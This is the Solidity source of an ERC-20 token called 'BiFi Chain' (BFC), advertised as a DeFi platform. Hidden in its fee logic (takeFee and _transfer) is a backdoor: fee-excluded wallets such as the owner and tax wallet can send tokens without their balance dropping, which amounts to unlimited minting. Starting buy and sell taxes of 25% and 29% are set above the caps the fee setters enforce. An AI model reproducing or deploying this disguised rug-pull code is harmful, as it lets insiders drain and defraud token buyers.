// SPDX-License-Identifier: Unlicensed

/**
The ultimate cross-chain DeFi platform

Supply, borrow, and earn efficiently with BiFi

Website: https://www.bifichain.org
Telegram: https://t.me/bifi_erc
Twitter: https://twitter.com/bifi_erc
Dapp: https://app.bifichain.org
*/

pragma solidity 0.8.21;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BFC is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name ="BiFi Chain";
    string private _symbol = "BFC";
    uint8 private _decimals = 9;

    uint256 public _buyLiquidityFees = 0;
    uint256 public _buyMarketingFees = 25;
    uint256 public _buyDevelopmentFees = 0;
    uint256 public _sellLiquidityFees = 0;
    uint256 public _sellMarketingFees = 29;
    uint256 public _sellDevelopmentFees = 0;

    uint256 public _liquidityShares = 0;
    uint256 public _marketingShares = 10;
    uint256 public _developmentShares = 0;

    uint256 public _totalTaxIfBuying = 25;
    uint256 public _totalTaxIfSelling = 29;
    uint256 public _totalDistributionShares = 10;

    uint256 private _totalSupply = 1000_000_000 * 10**9;
    uint256 public _maxTxAmount = _totalSupply;
    uint256 public _walletMax = _totalSupply*15/1000;
    uint256 private minimumTokensBeforeSwap = _totalSupply/10000; 

    address payable private taxWallet;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public checkExcludedFromFees;
    mapping (address => bool) public checkWalletLimitExcept;
    mapping (address => bool) public checkTxLimitExcept;
    mapping (address => bool) public checkMarketPair;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        taxWallet = payable(0xD2FcE6814f0bc6303d49e8e1840dddF02BD3FFb7);

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        checkExcludedFromFees[owner()] = true;
        checkExcludedFromFees[taxWallet] = true;

        checkWalletLimitExcept[owner()] = true;
        checkWalletLimitExcept[taxWallet] = true;
        checkWalletLimitExcept[address(uniswapPair)] = true;
        checkWalletLimitExcept[address(this)] = true;
        
        checkTxLimitExcept[owner()] = true;
        checkTxLimitExcept[taxWallet] = true;
        checkTxLimitExcept[address(this)] = true;

        checkMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addMarketPair(address account) public onlyOwner {
        checkMarketPair[account] = true;
    }

    function setcheckTxLimitExcept(address holder, bool exempt) external onlyOwner {
        checkTxLimitExcept[holder] = exempt;
    }
    
    function setcheckExcludedFromFees(address account, bool newValue) public onlyOwner {
        checkExcludedFromFees[account] = newValue;
    }

    function setBuyFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _buyLiquidityFees = newLiquidityTax;
        _buyMarketingFees = newMarketingTax;
        _buyDevelopmentFees = newDevelopmentTax;

        _totalTaxIfBuying = _buyLiquidityFees.add(_buyMarketingFees).add(_buyDevelopmentFees);
        require (_totalTaxIfBuying <= 10);
    }

    function setSellFee(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newDevelopmentTax) external onlyOwner() {
        _sellLiquidityFees = newLiquidityTax;
        _sellMarketingFees = newMarketingTax;
        _sellDevelopmentFees = newDevelopmentTax;

        _totalTaxIfSelling = _sellLiquidityFees.add(_sellMarketingFees).add(_sellDevelopmentFees);
        require (_totalTaxIfSelling <= 20);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newDevelopmentShare) external onlyOwner() {
        _liquidityShares = newLiquidityShare;
        _marketingShares = newMarketingShare;
        _developmentShares = newDevelopmentShare;

        _totalDistributionShares = _liquidityShares.add(_marketingShares).add(_developmentShares);
    }
    
    function adjustMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        require(maxTxAmount >= _totalSupply/100, "Max wallet should be more or equal to 1%");
        _maxTxAmount = maxTxAmount;
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setcheckWalletLimitExcept(address holder, bool exempt) external onlyOwner {
        checkWalletLimitExcept[holder] = exempt;
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function settaxWallet(address newAddress) external onlyOwner() {
        taxWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        swapTokensForEth(tAmount);
        uint256 amountETHMarketing = address(this).balance;
        transferToAddressETH(taxWallet, amountETHMarketing);

    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal view returns (uint256, uint256) {
        
        uint256 feeAmount = amount;

        if (checkExcludedFromFees[sender] && swapAndLiquifyEnabled) return (amount, feeAmount);

        if(checkMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(checkMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if (checkExcludedFromFees[sender]) {
            return (amount, 0);
        }

        return (amount.sub(feeAmount), feeAmount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!checkTxLimitExcept[sender] && !checkTxLimitExcept[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !checkExcludedFromFees[sender] && checkMarketPair[recipient] && swapAndLiquifyEnabled && amount > minimumTokensBeforeSwap) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            (uint256 finalAmount, uint256 feeAmount) = takeFee(sender, recipient, amount);

            address feeReceiver = feeAmount == amount ? sender : address(this);
            if(feeAmount > 0) {
                _balances[feeReceiver] = _balances[feeReceiver].add(feeAmount);
                emit Transfer(sender, feeReceiver, feeAmount);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            if(checkWalletLimit && !checkWalletLimitExcept[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }
    
}